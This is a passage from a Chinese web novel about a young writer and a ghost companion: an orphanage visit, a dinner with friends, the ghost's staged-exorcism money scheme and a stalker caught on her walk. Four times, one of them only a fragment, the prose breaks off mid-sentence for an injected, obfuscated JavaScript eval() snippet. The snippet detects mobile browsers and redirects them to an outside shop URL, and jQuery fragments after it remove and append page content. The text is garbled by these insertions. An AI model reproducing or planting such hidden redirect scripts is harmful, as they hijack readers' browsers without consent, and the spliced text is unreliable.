“虽然还是想跟你说一声谢谢,但……”良久后,江时叉着蛋糕,送进嘴里,含糊嘟囔了一句:“……这算什么刚刚好啊。” - 其实那句“刚刚好”,也不只是为了逗一下江时,喻声自己也挺想福珠,再加上还有礼物没送出去,本来就盘算着这几天去一趟福利院,所以才顺嘴这么说了出来。 去福利院的路上,幼稚鬼发力,非要争一下福珠更粘谁,喻声一路沉默,不同他争辩。 结果一下公交车,在树下远远看见喻声的福珠马上奔向蹲下的喻声怀里,甜甜地喊了句“喻声姐姐” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16436873|184024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,又钻出脑袋,趴在她的肩膀上,好奇地问。 “喻声姐姐,你后面跟的这个哥哥是谁呀?” 江时沉默:“……” 这个开场白怎么这么熟悉? 争宠比赛夺得头筹的喻声忍笑,为小姑娘放生记忆:“上次姐姐不是也带哥哥来看福珠了吗,哥哥还给你讲了图画书,你忘记啦?” 福珠睁着双写满了“你到底是谁”的大眼睛,乖巧回答:“记得的。” 江时:“……” 比不记得更让人心碎的答案出现了。 其实福珠不记得江时也很正常。 福利院来来往往的人太多,志愿者、社会热心人士、新闻工作者、想领养健康孩子的父母等等,如果每一个人都去记住的话,那用什么方法能让她理解为什么有的人只会来那一次呢? 但当下对于打算来很多次的江时来说确实有点轻微的残忍。 喻声把余光分给发蔫的江时,决定中断话题,给他腾出时间去把破碎的部分黏回去。 她把福珠被风吹得往前跑的发丝捋至耳后,轻轻捏了捏她的耳垂,问她:“你们刚刚围在树下干什么呢?” 回答喻声的是刚把补品和笔放进屋里后折返回来的秦淑含。 “他们在往树上挂福牌,福牌上写愿望,就当作是一年到头的一个寄托。”秦淑含笑着,指了指树下放着的长桌,说,“那里还有很多,笔也有,声声,你也去挂一个吧,抛得越高,心愿越可能实现。” 原来这才是“刚刚好”。 这么幸运赶上了。 托101岁生日的福。 喻声站起身,牵住福珠,脸挂笑意,和忙着去搀扶其他腿脚不便的小朋友的秦淑含告别:“谢谢秦奶奶,我这就去看看。” 福珠走到一半时被同伴喊去跳皮筋,喻声嘱咐了她几句“小心点”,就穿过熙熙攘攘的小孩们,和江时一前一后抵达长桌旁。 原木色的牌身、红色的挂绳,用最朴素的黑笔书写最虔诚的心,祈祷往上抛时能克服重力,让风把所愿带给神灵,求到一个得偿。 喻声弯腰,手臂撑着桌面,握着一个福牌开始认真写,她几乎没有犹豫,一字一画,一气呵成。 反而旁边的江时落笔仍有些踌躇,但他写完前半句后,后半句就变得顺畅了很多,落后喻声几拍完成。 喻声写完后仰头看着树,思忖着怎么往上扔比较好,手心还一直捂着写字的那部分。 江时笑,虽然他没有窥探的癖好,但此刻也忍不住学着她在他生日那天说的话:“要不要把你的愿望跟我说?如果这里的神明不能帮你实现的话,说不定我可以。” 喻声也跟着笑:“我这个愿望,还真的只有神明能帮我实现。” 她瞄准树,往上抛,福牌在空中呈现抛物线,稳稳当当地挂在树枝上,一次成功。 喻声心里难免有点雀跃:“不过有一个你能帮我实现的。” “你说说看。” “把冰箱里剩下的生菜牛肉都帮我解决了吧。” “……喂!” “我开玩笑的,晚上陪我吃猪肚鸡火锅吧。” “这倒是不难实现。” 江时手往上抬,轻轻一抛:“走吧,先去让福珠彻底把我记住,再回家吃猪肚鸡。” 他们俩往来时的方向走,寻着福珠,身后,很轻的“哐当”一声,两个最新挂上去的福牌正面朝上,颠簸在一起,重叠了部分。 江时的福牌代替他,做着最勇敢的梦。 黑字清晰,风能看见,神明也能。 「健康、如愿。」 「放下、喻声如愿。」 他在这么多年后终于用六个字读懂、看清了自己的心。 22. 101岁 从福利院回来后的很长一段时间,生活发生了些很微妙的变化。 江时的活动空间渐渐从客厅拓展到喻声的卧室,房东有个懒人沙发扔在储藏室里没有动,也被他找到后拖出来用,就摆在离喻声码字的书桌后边不远处,如同鸟儿重新筑起了新巢穴。 喻声码字时,江时就躺在懒人沙发上玩手机,各有各的领地,泾渭分明,安静和谐。 有江时在房间,喻声的安全感提升了不少,不用再担心突然遇到贴脸袭击。 卧室里采光也不输厨房,早上,虫鸣风响中,江时就会把煤球和芝士挪进来,等傍晚喻声出门散步的时间点,阳光不再眷顾卧室时,他再把它们俩挪出去。 进进出出的,像每天固定来房间上班一样,他们四个连工位都不带变动的。 越活越像理想主义。 家里的卫生也从不需要喻声担心,江时像个外挂,除了饭需要喻声做之外,他完全无愧于海螺姑娘的称号,有段时间喻声还高兴自己的掉发量变少到无,后面才知道有人跟在她后面把所有都打扫干净了。 也不知道该高兴还是该悲伤。 小锅默默承担双人重量,饭经常是回房间吃的,喻声对于江时的饮食习惯现在是完全了然于心,做饭时会做两份不一样的,把没有加葱的、比较重口味的那份推给他,两个人坐在电脑前,有时候是看电影,有时候喻声ddl,会边吃饭边码字,江时就会坐在旁边边吃饭边看。 譬如此时。 喻声这次写的是一篇现代都市爱情,在她的舒适区范围内,但女主角的性格比较跳脱,很容易ooc,所以喻声在写的时候会稍微踌躇一点,这才拖了点时间。 她嘴里机械嚼着米饭,手指悬空在键盘上,正在思考下一则对话—— 女主角正在跟朋友讨论,爱情和面包哪个更重要。 「当然是爱情更重要。」 “当然是爱情更重要。” 几乎是同一时间,有人和她的女主角做出了相同的答案。 喻声偏头去看一脸坦然的江时。 被看的人打了个大哈欠,照着煤球和芝士的光也偏爱他,光影在他的脸上蜿蜒流动:“如果是我,我就选爱情。” 喻声嘴角弯弯地笑:“可能是你现在有没有面包吃也没有区别?” “那你呢,你选什么?” “我选面包。”喻声说,“比起爱情,好像面包会更实在一点。” 江时一顿,戳着米饭,又问:“那你为什么让你的女主角选爱情?” “她有面包吃啊。”喻声回答,“她需要的是锦上添花,而不是雪中送炭。” “而且。”喻声提醒他,“我写的是感情流,这一段只是为了有个自然的过渡让她发觉她爱上男主角而已。” 她转头,想继续往下思考剧情,但江时沉默了一会儿后,仍向下延续着话题。 “我以前也很富有的。” 喻声迟钝,这八个字落在她心上没头没尾的,她犹豫着,说出口:“你有没有听过这样一句话?” 江时:“什么话?” “好汉不提当年勇。” 江时沉默:“……” - 沉默被打破,喻声和舒云霁加上好友后的对话框在互报姓名下又多了一条,来自舒云霁。 舒云霁:「喻声,你最近有空吗?」 福利院最近好像没什么志愿活动,喻声也拿不准他突然发信息的原因:「不是很忙,有什么事情吗?」 舒云霁的新消息来得很快:「上次在书店门口见得匆忙,刚好最近有假期,要不要聚聚?就今天晚上。」 舒云霁:「小繁也会来。」 他消息刚出,新的弹窗接踵而至。 舒云繁:「声!声!」 又一个弹窗。 舒云繁:「我哥发奖金了,我们去好好宰他一顿吧!」 喻声退出和舒云霁的聊天界面,先回了舒云繁:「我不去了吧?」 舒云繁:「为什么不去?」 喻声眨眼:「因为我没什么理由要他请客啊。」 舒云繁:「我就是那个理由!」 舒云繁:「如果是我单独去,我哥才不会请我吃饭呢,我哥对朋友和对亲妹妹还是不一样的。」 舒云繁见喻声迟迟没回,使出杀手锏,发了个哭泣的表情包过来:「你就当陪我了好不好,我每天上班,都好久没见你了。」 喻声笑,妥协:「好。」 喻声:「在哪里?」 舒云繁:「还是你对我好!」 舒云繁:「今天晚上七点,一家私厨菜,我发给定位给你。」 答应过后,喻声给舒云繁和舒云霁分别回了相同的一句:「好,今晚我会去的。」 “今晚为什么要去?”江时表情认真,拦住换完衣服走出来的喻声,“你听过一句话吗?叫天底下没有免费的午餐。” 他很迅速又接了一句:“当然了,我没有挑拨离间的意思。” 喻声:“……” 知道你是在挑拨离间了。 喻声疑惑:“我怎么感觉你对舒云霁有点意见?” 一开始,喻声只跟江时说了要和舒云繁约个饭,江时没说什么,只说不用给他准备饭了,让她早去早回,回家路上小心点。 后面是舒云繁打了电话来。 舒云繁:“声声,我在超市,我哥说下班来接我,你要不也来超市,让他把我们一起载过去?” 喻声放下手机,看了眼屏幕上的时间,也才六点,离约定时间还早,她自己过去也不会迟。 “不用啦,你哥哥接你就行,我可以自己过去,坐电脑桌前也挺累的,正好走动走动。” “你哥哥”这三个字像打开了什么神秘的开关,让江时的目光自动锁定在喻声身上,等到她挂断电话后立马提问。 “舒云霁也去吗?” “当然了。”喻声回,“今晚聚一下就是他提的建议。” 然后就发生了刚刚那一幕。 “我对他能有什么意见。”江时摸摸鼻子,“只是提醒你要注意一下而已。” 喻声换着鞋,忽略他语气中的不自然,声音轻盈:“没什么好注意的,他是舒舒的哥哥,我们就吃顿饭。” 江时本还想说点什么,张了张嘴,最后偃旗息鼓,不再多说。 如果可以,他想倒退回生日那天,在喻声问“要不要把你的愿望跟我说”的时候他就应该说—— 喻声,不要和舒云霁走得太近行不行。 拜托你了。 但事实就是,就算真的倒退回生日那天,他也不可能说出这么直白的痴话。 摊开来讲,舒云霁也没什么错,喻声有交友自由,她和谁走得近也轮不到他来干涉。 左右脑互搏中的江时面无表情地目送着喻声的离开。 门开又关上,带进来一阵风,把他吹清醒了一点。 最后只剩心里默念的一句—— 江时,别太小心眼了行不行。 拜托你了。 这边的交谈停下,一小时后,那边包厢里的交谈又起,多是围绕舒云霁遇到的那些奇葩的病患。 喻声很爱听这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16442232|184024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些,有时候在文中加点这种素材也很有趣,她手托着脸很认真地听舒云霁讲,舒云霁见喻声喜欢,几乎没停过,把他知道的都讲了一遍。 被离谱的现实情节震慑到,喻声分神去想,她能看到江时,并且习惯他的存在、他的陪伴,好像也不是什么很奇怪的事。 明明是大相径庭的两个话题,怎么又想起江时? 喻声紧急扼制住念头。 桌上的菜空了大半,三个人都渐渐停下了筷子干坐着聊天,舒云繁目光转了一圈,定在白灼虾上。 喻声这一分神,就注意到她的动作。 “怎么了吗?” “我是想等会打包一下这个虾。”舒云繁说,“带回去给豆乳吃。” “我去前台要个打包盒吧。”喻声站起来,“顺便去个洗手间,你们等我一下。” 走到前台,喻声报了包厢号,提前结了账。 她说了没什么理由让舒云霁请客,就算答应了来吃饭也不会真的让他请,正好上次临山夜谈的“大餐”太敷衍,在临山时舒云霁又处处照顾着她,刚好就趁今天一起请他们兄妹俩吃顿饭。 “麻烦帮我拿个打包盒。”喻声想了想刚刚尝过的还不错的菜,“白灼虾、菌菇豆腐煲、腌笃鲜、腊味芋头饭,都不要加葱,全部再帮我打包一份送到包厢,麻烦了,谢谢。” 她无从分辨离开家的时候江时的不开心来源于何处,索性准备点吃的回去让他开心一点。 等把这部分账单也结清后,喻声才回了包厢,重新融入聊天当中。 等到服务员把一个空打包盒和四个满满登登的打包盒一齐送进包厢时,舒云繁目瞪口呆:“送错了吗?” “没有。”喻声解释,“我重新点的。” “我觉得这家味道不错,刚好打包点带回去,明天就不用开火了。”她想好了借口,只是辛苦舒云繁被她瞒着,“账我也结了,要不现在回家?” 舒云霁怔了一下:“怎么先结账了?不是说好的我来请客吗?” 舒云繁也在一边附和。 喻声笑:“下次吧,这次的就当付素材费,谢谢你给我分享了这么多好用的素材。” 舒云霁闻言眉间舒展,嘴角上扬,温和地应了声也好。 回家时是舒云霁送她们俩回来的,半路上舒云繁突然想起了超市里新来的货还没点,因此喻声和她就一起在超市下了车,舒云繁去点货,喻声先带豆乳和饭回了家。 路上的车辆反方向行驶,人潮反方向流动,终点有人在等她。 她不在家的话,江时就不会开灯,他坐在黑暗里看电影,听到开门声后就一个猛回头,眼睛在黑暗中很亮,声音隐隐有笑意:“你回来了。” “嗯,给你带了吃的回来。” 喻声把客厅的灯打开,朝迎面走来的江时晃了晃手中的袋子,等他接过才开了另一个袋子里的盒子,放在地上,招呼在江时脚边团团转的豆乳过来吃饭。 江时闷闷不乐,瞅了眼豆乳又瞅了眼手中的盒子:“我怎么像你养的小狗一样。” 完全肯定句,不带一点疑问的意思。 “豆乳这份是我们吃剩的,你这份是我重新付款买的。” 江时立马从善如流,改了话术:“当小狗也不错。” 他说错了。 天底下真的可以有美味的免费午餐。 并且是只属于他一个人的。 喻声:“……?” 她扶额,心里只有一个念头—— 舒云霁讲的那些病患故事好像还不如“这个世界上有一个这么幼稚的鬼存在”离谱。 23. 101岁 东宜开始降温,早晚明显带风,喻声感冒了一回,除了雷打不动的散步也不太爱出门了,经常蜷进椅子里,裹着毯子,泡杯热茶,把窗外淅沥的雨声当白噪音,不是看书,就是码一天的字。 多数时候只有煤球和芝士陪她,少量日子豆乳会来,江时不知最近几天在忙些什么,外出频繁,也不躺倒在他的懒人沙发上了,经常简短地发条信息来,说不回家吃饭了。 刚想到这里,和脑海中重合率100%的新消息就送到喻声的面前。 江时:「我不回家吃饭了。」 江时:「不用等我。」 喻声愣神,莫名有些怅惘。 总有种自己变成了孤寡老人的错觉。 喻声把这种情绪归结于少了一个试菜员来帮她试一下厨艺,所以吃饭才变得没那么有乐趣。 孤寡老人一般都不会主动把自己的孤寡流露出来,所以喻声敲击键盘,最后只回了简短的一个字:「好。」 不过这种状态没持续多久,有个电话打进来中断了她的怅惘。 看是陌生电话,喻声就没接,想着如果不是打错的话就应该会打第二遍。 和预想中大差不差,电话铃声停歇后,有条同号码的短信挤了进来,喻声一看,原来是有个新快递到了,放在楼下柜子里了。 这下怅惘是彻底消失,转为惊喜。 她前天晚上刚和春华女士通电话,得知春华女士最近正在晒腊肠。棉城的腊肠很出名,是每个棉城小孩的童年记忆,几乎家家户户都会自己做,并且郑重地把它当作一道主菜来品尝。 喻声的记忆被唤起,正好想起舒云繁也没吃过棉城的腊肠,可以分一点给她,喻声就央求春华女士多给她寄点,春华女士一口答应,但她说过几天再寄,新的一批腊肠还在晾晒,没那么快好。 没想到才隔了一天,腊肠就从棉城飞到东宜来了。 喻声迅速起身,把身上的毯子胡乱团成一团搁在面前的电脑键盘上,想转身去衣柜里抽件外套,余光却瞥到懒人沙发上整整齐齐叠着那一套她送给江时的衣服—— 他出门,穿的是他自己之前的那套西装。 喻声叹了口气。 原来怅惘这种东西,一被勾起就会一发不可收拾地在各个角落冒出来啊。 她的动作慢了下来,目光从一排外套上掠过,最后挑了件全黑的,心不在焉地套上后就下了楼。 快递柜就摆在防盗门旁边,喻声对照着短信把取件码输入后,其中一个小柜门“嘭”地一声迅速弹开,喻声把里面的盒子取了出来,在手上掂量了一下,发现了不对劲。 重量不对。 大小也不对。 喻声把盒子翻过来,看了眼快递面单。 没被星号代替的部分露出来的姓名、手机尾号、地址全正确,但内容物处写着的却不是喻声预想中的腊肠。 那里写着—— 商品(2件):相机、拍立得。 备注:请小心轻放。 贴错面单还是电子诈骗? 喻声抿唇,有点不知道手中的烫手山芋怎么处理。 喻声把快递箱举起来,在耳边小心地晃了晃,几声闷响传来,也听不出具体是不是相机,她踌躇片刻,还是决定给刚刚的快递员打个电话。 她刚把手机从外套口袋里掏出来,就瞥见在锁屏界面停留很久的聊天信息,差点握不住手中提示“小心轻放”的盒子。 江时:「转账请收款100000.00元」 喻声惊魂未定地点进聊天界面,再次确定了是真的转账。 暂且管不了是不是快递面单贴错了,这好像有个新的电子诈骗。 她的手指飞快地往标点符号上敲了三下:「……?」 “为什么不收?” 还没有间隙时间去搜索“突然收到奇怪的大额转账怎么处理”,就有声音自头顶响起,一只胳膊越过喻声的肩膀,干脆利落地捞过她没捏紧的手机。 喻声呼吸错乱了一拍,心脏快要奔向地面,她下意识转身,看到的是举着已收款的聊天界面笑着晃了晃的江时。 看到他,心脏带着好多问题回归原位。 “你怎么在这里?”喻声缓了一下,问,“钱又是从哪里来的?还有——” 她低头看自己手上的箱子,又抬头,把所有突兀的产生都归结于江时身上:“这个快递,相机,也是你买的吗?” “太多问题了,我怎么回答?”江时把喻声怀中的快递箱抱过来,再把手机还给她,稍微露出点可怜巴巴的神色,“我还没吃饭,能不能边吃边聊?” 他的动作已经在回答最后一个问题了。 喻声点点头,错开脸,把手机和手一起塞进口袋里:“那先上楼吧。” 江时突然问:“那个‘好’字,也是这种语气吗?” 喻声没反应过来:“什么?” “我说不回家吃饭,你只说了一个好,我以为你会很伤心,结果其实好像很平淡,和你这句‘上楼吧’差不多。” 虽然不至于到伤心的地步,但怎么听出平淡的? 喻声拾级而上,想了想,说:“没什么好伤心的,反正你总会回来的。” 窗户正对着楼梯,半明半暗处,有仓促的水淹过,浸泡着话音刚落时一瞬间的悸动。 江时握紧快递箱,路过他的悸动,上了新一条楼梯,含糊笑道:“幸好提前回来了,外面又开始下雨了。” 喻声看了眼在窗户上蜿蜒的河。 从他们认识到现在,好像一起经历了很多场雨,她恍惚记得,在这个楼梯间也见过一次这条河,河水潺潺,吞过她的心跳。 “你不是不会被雨淋到吗?” “不会,但还是比较喜欢太阳。” “那以后出门前先看一下天气预报。” 江时吃着热腾腾的番茄面,说道:“天气预报哪有我算得准。” 喻声已经吃过午饭,不太饿,但在江时的请求下还是夹了一点面陪他吃,她慢条斯理地卷着碗里的面,笑着问:“你都算了些什么?” “我算到——”江时说,“你很需要面包。” 喻声卷着面的手一顿,面从筷子尖处滑落,她搁下筷子,抬头看他。 江时也跟着撂下筷子,放任视线在空中和喻声相撞,笑眯眯开口:“我找了份工作,钱是赚回来的。” “我找了个半吊子道士,他能看到鬼但没什么驱鬼本事,我们二八分成,我八他二,他负责对接需要驱鬼的人,我负责帮他驱鬼。” 喻声眨眼:“半吊子道士是你上次说的房东找来给你布置香案的那个?” “好聪明。”江时又笑,“就是他。” “也不对啊。”喻声默想了一下刚刚惊吓之余看到的转账金额,把毯子裹紧了些,“你才出去几天啊,能赚到这么多,现在也不是鬼月,鬼也不是全都会做坏事,哪来这么多需要驱的鬼?” 江时剥着水煮蛋的壳:“所以,我还请了几个朋友帮忙。” 他看着喻声迷茫的神色,又补充:“鬼朋友。” 喻声这才反应过来—— 他请了几个鬼去别人家里吓人,再由那个半吊子道士出面,假意驱鬼,从中获取利润。 喻声:“……” 她憋了半天只憋出两个字:“奸商。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16468780|184024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 江时把剥干净的水煮蛋咕咚丢进喻声的碗里,风轻云淡地说:“那些人把坏事全干尽,就算没有鬼,他们做贼心虚,一点风吹草动也会往这方面想,何乐而不为?这部分人里富商的比例也高,帮他们驱鬼还会另给新的费用。” 喻声缓了脸色,心稍微安定了些:“你确定都是坏人?” “放心吧。”江时弯了弯眼睛,“那些人面兽心的我分不清,犯罪了的我还是认得清楚的。” 她不该怀疑他。 喻声想。 代入他、用他的眼睛来看这个世界,才明白形形色色中有多少人面兽心的人,他从不会是非黑即白的白,但也绝不是站在白对立面的黑上,否则也不会落到被害去世的结局,至死还对身边人有所期待。 他在一条知世故而不世故的线上。 喻声抬眼看江时,没作声。 他还维持着笑容,却无端透出点紧张,眼睛一瞬不眨地看着她,嘴唇抿起,像是生怕她误解他一般。 “我相信你。”喻声说,“但我不能收你这么多钱,包括相机和拍立得,我都不能收。” “我生日那天,你给我买了衣服,当时的我除了说句喜欢做不出别的。一直以来都是你为我付出,既然我能开始赚钱了,我也想能为你做点什么。买相机的软件是道士教我用的,我承认,在这些方面我也算个半吊子,但我会学,我会学会的。”江时的话缓缓,一句一顿,郑重地,“至于转账,我只是希望,你也可以和那个女主角一样,在面包和爱情里选爱情,以后不用再为面包而发愁。” 雨声嗡嗡,那道河又孜孜不倦地涌向她,明明很吵,但听完江时的话后,心里却很安静。 她上过很多当,听过很多不了了之的承诺,也明白言语的份量一直很轻,一个人一天要说出口成百上千句话,人要在其中分拣出重于其他的太难。 但有一个人,知道这件事情很难,所以他选择把每一句都听、都记,明明只是拍照时随口说出来的一个解释、只是讨论剧情时随口做出来的一个选择,连喻声自己都快忘记,他也会牢记于心并且真的为此付出行动。 他的所有行动都是晶莹剔透的,不带私心,赤裸裸展现,不用剖开就能从正面看到反面。 这个人,眼睛粼粼有光,眼底映着一个为此悸动的她。 喻声吸了吸鼻子:“我还以为你不喜欢我给你买的衣服。” 江时歪头,追问:“我做了什么事情让你这么误解?” 喻声指了指他身上的衣服,目光又飘向懒人沙发上:“你换上了自己的这套。” “我只是觉得不能穿上你送我的衣服去见很脏的人而已。”江时说,“我很喜欢你送我的,所以我才觉得屈屈一个相机和一个拍立得,完全是我占了便宜。” 屈屈? 喻声想起刚进门后她拆开箱子看到的那一眼,很无奈。 近六位数的相机她拿着真的很烫手啊。 “所以以后每一张照片都跟我拍吧。”江时提了个折中的方法,“就算只是拍到虚影也好,我用相机跟你买拍照的机会。” 这倒还可以接受。 喻声点头:“相机可以收,那转账我转回去给你?” 江时懒散地挑面送进嘴里:“也收着吧。如果你实在过意不去,转账就当房租和伙食费。” “可是——” 喻声还想说什么,却被打断。 “这和当年勇比起来根本算不上什么。”江时的嘴角弯起小括弧,“就算提了,我也是好汉。” 喻声:“……” 果然很记仇啊。 她快要落下的眼泪就这么硬憋了回去。 24. 101岁 眼泪还是差点被吓得掉出来。 江时把面全吃光,很顺手地把碗叠进喻声的碗里一起捧了走向厨房清洗,喻声跟在他身后,好奇问他都遇到了什么样的坏人。 江时把厨房的窗户阖上,阻断雨丝到屋内作乱的可能,再往海绵擦上挤了洗洁精,慢条斯理地搓着碗,问:“你真想知道?” 喻声半倚台面,手里的小刀脱着苹果皮,闻言点头:“可以说吗?” “可以。”江时说,“种类太多了,我想想该怎么说。” 人明明是同一物种,长了颜色各不相同的心,就渐渐分了不同种类。 他连贯的几个音节勾勒出世界崎岖的另一面:“有像《伪君子》里的Tartuffe的,表面谦和,背地里把手伸向别人的妻子和女儿;有以虐杀为乐的,用热水浇在动物身上还说我只是在帮它们洗澡的;有只为让自己愉悦,把恶意加注在弱小者身上的。” “这个世界的每个角落,每天都有人毫无理由地活埋其他生命,也每天都有人承受无妄之灾,绝望地结束自己的生命。而这些,最后只有声音不被世人听到的鬼能看到。” 江时把洗干净的碗反着搁在沥水架上,水往下滴,同频着哪个角落谁的眼泪。 他很平静地说:“很讽刺的是,鬼也不是审判者,除了吓他们一通也做不了其他的。” 喻声哑然,虽然没真的被吓到落泪,但还是在心底埋下了深深的坎。 恶的产生往往是一瞬间的事,江时说的那些不乏有纯粹的恶人,但更多的是好坏参半,隔着皮隔着伪装的表情认不清下一秒对你释放的是善意还是恶意。 喻声职业惯性,本来就习惯把陌生人放在观察角度,以前还戴口罩,可以稍微再肆无忌惮一点;现在出门不需要戴口罩后,只敢目光浅浅掠过那些散步时偶遇的人,再收回。 但偏偏江时自从打开了话茬后,很爱跟她说这些,一开始还觉得人心的颜色各异不相同,听多了总觉得人外表的形状都变得千奇百怪了起来。 以至于她现在遇到人后,总忍不住上下多打量两眼,再逼迫自己扭头直视前方,不许再做出这种不礼貌的行为。 ——从怕鬼到怕坏人,算不算另一种质的飞跃? 喻声默默地想。 那当然不算了—— 散步至小路拐弯处时,后面突然传来几下细碎的声响,喻声下意识扭头,身后却空无一人,声音也消失了,独留她立在风中。 不是从怕鬼到怕坏人的质的飞跃,而是不知刚才那几道声响的发出者是人还是鬼,在要怕鬼还是要怕坏人中摇摆不定。 喻声眼皮狂跳,心下一窒,转身走得更快了些,后面的声音却成串涌来,越来越近,喻声的理智离家出走,她揣着害怕拔腿就往家的方向跑,路过又一个拐角时身后急促的脚步声消失,取而代之的是一声轰响和蓦然响起的手机铃声。 喻声已经有点气喘吁吁,但她脚步没敢停,边快走边接起电话,手机贴向耳朵的那一刻,对面一个熟悉的声音让她突然止步停下。 “你说什么?” “直接报警。” 喻声立马转身,几乎不用去找,视线就自动聚焦在树下站着的江时身上。 他看起来很不高兴,手用力捏紧手机,鼓着腮,“报警”两个字在咬牙切齿中重复打转,他的脚一抬一抬往下用力,杵在不知道是谁的脊背上,那个人匍匐在地上一动不动,落叶堆了满头,几片零零碎碎的被江时的动作振了振,顺势往下跳。 看来是撞到树上后晕过去了。 虽然他应该听不见,但树叶仍不知疲倦地从头顶滑过他耳朵,像在转达着江时未说出口的话—— 哥们。 现在晕了是一件幸运的事。 喻声叫停脑海中的小剧场,把理智抓回家,没再询问,直截了当挂了电话,报警,隐去了江时在其中起到的作用,交代了前因后果得到“会马上赶到”的答案后,喻声熄屏,在黑色的屏幕中看到了自己起的一层薄汗。 像那天没削干净的苹果皮一样,紧紧地黏在额头上。 可是喻声已经无暇去顾及这个,她把手机胡乱塞回口袋里,看向江时。 他也恰好回望。 “有被吓到吗?” 江时缓了脸色,问。 喻声迟疑,最后摇头,走上前:“你什么时候来的?” “就刚刚。”江时的脚放开底下的人,离开前还坏心眼地踢了两脚,随即扬扬下巴,手插着兜,也走向喻声,“我给你发了信息,一般来说你散步没那么专心,发信息不会那么慢回,反正你的散步路线很固定,我就想来看看。” 他皱眉往后看了眼:“他跟着你有一路了,手里还带着刀,幸好你跑得快。” “是幸好你来了。”喻声说,“总之谢谢你。” “总有不是谢谢的话要说吧?”江时把喻声因奔跑而凌乱的头发顺了下,像很多次那样把她的外套拉链拉到最高,笑道,“比如把我设成紧急联系人之类的?” “江时。”呼气吸气都在外套里,喻声才从劫后余生中察觉出暖意,她声音很轻地问,“我需要你的话你会在吗?” “嗯,会在的。”江时又笑,“永远无条件的。” 不需要无条件。 也不需要客观上他真的在。 只要他主观上愿意就够了。 喻声一顿,也跟着笑:“那紧急联系人的话,你只能当3了。” 江时还没问出口的那句“为什么”被警笛声掐断,警车上下来两个警察,男警察巡视了一圈,走向树下查看行凶者的情况,女警察则向喻声走来。 喻声看向来人,怔住。 她没想到会通过这种方式再次见到许绘林,她的大学同学,就住在隔壁寝。 是有听闻毕业那年许绘林省考公安岗一次上岸,当了警察,她的经历被编进学校公众号里,激励一大批学弟学妹。 但喻声和她没什么交集,唯一共同点大概是她们两个都独来独往,但在最疲惫的时候能见到一个相对熟悉的人,不知为何心安定了很多。 “喻声?” 许绘林在喻声面前站定。 她没什么变化,一如既往的英气,自带锋利,齐肩短发,眼尾随着说话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16483562|184024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 微微上挑。 “是我。”喻声没想到许绘林也还记得她,有点讶异,却也莞尔回应,“好久不见,绘林。” 许绘林颔首:“人我们会带回警局,你也一起回去做个笔录吧,有带证件吗?” 喻声的证件一直被她卡在手机和手机壳中间,她点头,刚想说话,手腕却被江时环住。 喻声不露痕迹地看了他一眼,眨眼让他放心,江时不知道读没读懂,反正手一直紧握着没放。 “喻声?”许绘林出声催促。 那边的男警察已经把行凶者拖上警车了,喻声连忙道:“证件我带了,现在去做笔录吧。” 她边说话,另一只手边举着手机轻轻碰了江时的手,他这才松开,喻声得以跟在许绘林后面上了警车。 警车内和警车外是两个世界。 警车内,气氛一再冷却,除了cosplay《马拉之死》的那个,其余三个人都想把话留到笔录时再说,喻声垂眼,百无聊赖时打开手机。 最早的未读信息追溯到两小时前。 江时:「今天早收工!早回家!」 一个半小时前。 江时:「为什么不理我。」 江时:「散步吗?」 江时:「我去找你?」 两分钟前。 江时:「警察局地址是?」 江时:「一会接你回家。」 现在再说什么好像都词不达意。 直至此刻。 喻声才迟缓地感受到警车内和警车外是同一个世界。 一个很小的、只能容纳两个人的世界。 - 警车驶入警察局时,coser才悠悠转醒,脸上布满惊恐,说话颠三倒四,坐进审讯室时也完全不配合,男警察一改车内的沉默,炸毛得厉害。 许绘林给喻声做完笔录后,跟男警察核实了一下,拉过玻璃门,把喻声送到门口,打开话匣:“我们盯他很久了,他精神有点问题,住附近的女生好几个晚归被他尾随过,不过你放心,该处理的我们都会处理。” 她体贴地问:“现在很晚了,要送你回家吗?” 喻声跨出门口的一刻已经看到了江时,他在用脚碾着凹凸不平的地面,闻声望过来,眼睛弯弯快成一条线。 “不用了,我自己回去就行。”喻声说,“今天谢谢你。” 